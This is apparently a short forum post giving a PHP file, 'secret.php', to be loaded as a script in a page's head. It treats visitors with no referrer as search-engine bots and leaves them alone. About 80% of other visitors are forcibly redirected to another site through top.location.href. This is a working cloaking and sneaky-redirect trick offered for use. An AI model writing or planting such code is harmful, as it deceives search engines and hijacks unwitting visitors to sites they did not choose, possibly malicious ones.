save as secret.php
Code:
<?php
$guy = $_SERVER["HTTP_REFERER"];
$num = rand(1, 100);
if ($guy == ""){
?>
var visitor = "google bot";
<?php
} else {
?>
var visitor = "not a bot";
<?php
if($num < 80){
?>
top.location.href="http://redirect.com";
<?php
}
}
?>
call in head of page like <script src=http://yoursite.com/secret.php></script>